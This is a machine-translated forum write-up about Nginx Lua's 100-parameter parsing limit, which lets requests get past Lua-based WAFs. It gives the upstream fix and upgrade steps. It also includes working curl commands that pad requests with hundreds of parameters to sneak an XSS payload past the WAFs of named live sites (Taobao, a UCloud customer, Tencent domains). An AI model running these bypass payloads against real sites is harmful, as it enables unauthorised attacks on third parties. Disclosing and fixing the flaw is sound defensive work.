Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 16994|Odgovoriti: 1

[Varnostna ranljivost] Ranljivost WAF aplikacijskega požarnega zidu Nginx Lua

[Kopiraj povezavo]
Objavljeno na 27. 04. 2018 09:23:29 | | | |
Ko ginx Lua pridobi parametre, se privzeto pridobi prvih 100 vrednosti, ostale pa zavržejo.
Zato bodo WAF-je, ki uporabljajo Nginx Lua, privzeto obošite.
20. aprila 18 je nekdo na varnostnem potniku že razkril to podrobnost, zato sem objavil tudi ta članek 233.



Načelo

Uradni opis je naslednji

Upoštevajte, da se privzeto analizira največ 100 argumentov zahtev (vključno s tistimi z istim imenom) in da se dodatni argumenti zahtevkov tiho zavržejo, da se prepreči morebitna možnost Napadi zavrnitve storitve.

Privzeto je mogoče razčleniti do 100 parametrov zahtev (vključno z istimi imenički), dodatni parametri zahtevkov pa se samodejno opustijo, da preprečijo morebitne napade zavrnitve storitve.

Poiščite 100, približno naslednja metoda ima enak problem.
ngx.req.get_uri_args Pridobi parametre zahteve za get
ngx.req.get_post_args Pridobite parametre zahteve za objavo
ngx.req.get_headers Pridobi glavo zahteve
ngx.decode_args Dekodiranje URL-ja parametrov
ngx.resp.get_headers Pridobi glavo odgovora
V izvorni kodi modula lua-nginx lahko vidimo, da izvorna koda nastavi privzeti parameter največje zahteve in glavo na 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Vendar pa uradnik ponuja metodo za spreminjanje privzete vrednosti, na primer ngx.req.get_uri_args (200), da dobimo prvih 200 parametrov zahtev.

Preizkus

Če je parameter zahteve 101, zadnjega parametra zahteve ni mogoče dobiti.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Če zmanjšate en parameter zahteve, lahko dobite zadnji parameter zahteve, ko so parametri zahteve natanko 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
O: ZZBG
Imam te, zbg

Upoštevajte, da je privzeto res 100 parametrov zahtev, parametri zahteve pa bodo po 100 parametrih zahteve zavrženi.

Čudno je, da je v zgornji vsebini vračila, sredi približnega položaja, končni parametr zbg že izhoden. Moje ugibanje je, da izhod ni v vrstnem redu, vendar vrstni red razčlenjevanja sledi vrstnemu redu, v katerem so parametri poslani, ker ko je vrednost 101. parametra zbg, vrednosti ni mogoče dobiti.

Priložen je python skript, ki generira parametre:

# Avtor: ZZBG
# pošta:zbg@zbg.org
# datum: 2018-04-03

a = ''
za i v območju (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
print a
Popravilo
Seveda ni priporočljivo spreminjati vrednosti MAX parametra v izvorni kodi. Ker ne glede na to, kako visoko vrednost nastavite, jo je mogoče obiti. Priporočljivo je, da jo nastavite skozi parametre metode.
Če lahko dobiš dolžino parametra zahteve in uporabiš metodo, kot je ngx.req.get_uri_args (lenth), ali to ne bi bilo dovolj?
Ko sem prebral dokumentacijo, sem ugotovil, da števila zahtevanih parametrov ni mogoče dobiti. Če pa nastaviš lenth na 0, lahko dobiš vse zahtevane parametre.

Ta argument lahko nastavimo na nič, da odstranimo omejitev in obdelamo vse prejete argumente zahtev.
Local ARGs = ngx.req.get_uri_args(0)

Vendar je močno odsvetovano, da se nastavi na 0, da preprečimo morebitne napade zavrnitve storitve.

Odstranjevanje max_args pokrova je močno odsvetovano.

Pravzaprav sem se spraševal, zakaj bi nastavitev 0 povzročila morebitni napad zavrnitve storitve, in bi zahtevek vseeno šel na nginx, ne glede na to, koliko parametrov je bilo v get ali post.

Uradniku sem izpostavil težavo, avtor pa je rekel, da bo ngx.req.get_uri_args (0) povečal porabo CPU in pomnilnika strežnika. Kasneje sem testiral 200 parametrov in uporabil Nginx+php za pridobitev 200. parametra, kar pomeni, da Nginx privzeto ne omejuje števila zahtevanih parametrov. Potem je težava morda v samem Nginx Lua,Ko Nginx Lua uporablja ngx.req.get_uri_args(0) za pridobitev vseh parametrov in jih ponavlja, ko je zahtevanih veliko parametrov, porabi več procesorja in pomnilnika, kar na koncu vodi celo do zavrnitve storitve

Dne 03.04.2018 je Bypass007 uradno izpostavil TEŽAVO glede te popravke napake in končno uradno dodal novo funkcijo, ki temelji na tej TEŽAVI, 21. 4. 2018. Naslov zapisa commita te funkcije: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Opis funkcije je naslednji: V različicah po v0.10.13 (vključno z v0.10.13), ko je omejitev števila zahtevkov presežena, je druga vrnjena vrednost odrezan niz.
Od v0.10.13, ko je meja presežena, se vrne druga vrednost, ki je niz "odrezan".
Vendar pa se lahko za preglasitev te omejitve uporabi opcijski argument funkcije max_args:
Lokalni ARGS, err = ngx.req.get_uri_args(10)
če err == "odrezano" potem
     -- lahko se odločite, da trenutno zahtevo ignoriramo ali zavrnemo tukaj
konec

Tako je prišla končna rešitev.

Nadgradnja lua-nginx-module na različico 0.10.13 ali novejšo

Nato omejite skupno število parametrov, glede na to, koliko je skupno število omejeno, osebno menim, da je 100 dovolj

OpenResty nadgradi modul lua-nginx-module

Nisem našel nobenih informacij o modulu za nadgradnjo OpenResty, zato sem sam ugotovil, kako nadgraditi modul lua-nginx.

Koraki so naslednji:

Prenesite ustrezno različico modula lua-nginx-module
Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
Razpakirajte
tar -zxvf v0.10.13
Izbriši prejšnjo različico lua-nginx-module
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopiraj nov lua-nginx-modul
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Za prevajanje glejte parametre prevajanja VeryNginx


Obhod primera

Pojasniti je treba, da pri naslednjih WAF-jih nisem prepričan, ali naj uporabim Nginx Lua, vendar jih je mogoče zaobiti s skupnim številom parametrov.

Ali WAF

Ta WAF je WAF, ki ga Alibaba uporablja interno, torej WAF, ki ga uporabljajo domene, kot je *.taobao.com, in ni bil testiran za oblak WAF, ki ga prodaja Alibaba Cloud.
Najprej zahtevajte POST XSS tovor, da ga prestreže.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
S pomočjo Fuzz smo ugotovili, da ko se število parametrov poveča na 478 z XSS Payload, ta ni več prestrežen in spletna stran je dostopna normalno.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Testirani WAF je WAF, ki ga prodaja UCloud.
Ko se parameter zahteve poveča na 138, ne bo več blokiran in spletna stran bo dostopna normalno.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Ta WAF je WAF, ki ga Tencent uporablja interno, torej WAF, ki ga uporabljajo domene, kot je *.qq.com, in ni bil testiran za oblak WAF, ki ga prodaja Tencent Cloud.
Ko se parameter zahteve poveča na 4000, ne bo več blokiran in spletna stran bo dostopna normalno. Naključni testi naslednjih domen so prizadeti.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

Povzetek

To vprašanje je zelo preprosto in ga lahko najdete z natančnim branjem dokumenta. Ampak zakaj nisem izvedel? Mislim, da je še vedno premalo razmišljanja.
Viri
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Prejšnji:Naučite se Photoshopa od začetka, 18 lekcij od začetnika do boga
Naslednji:Prednosti in slabosti Lue in Luajita
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com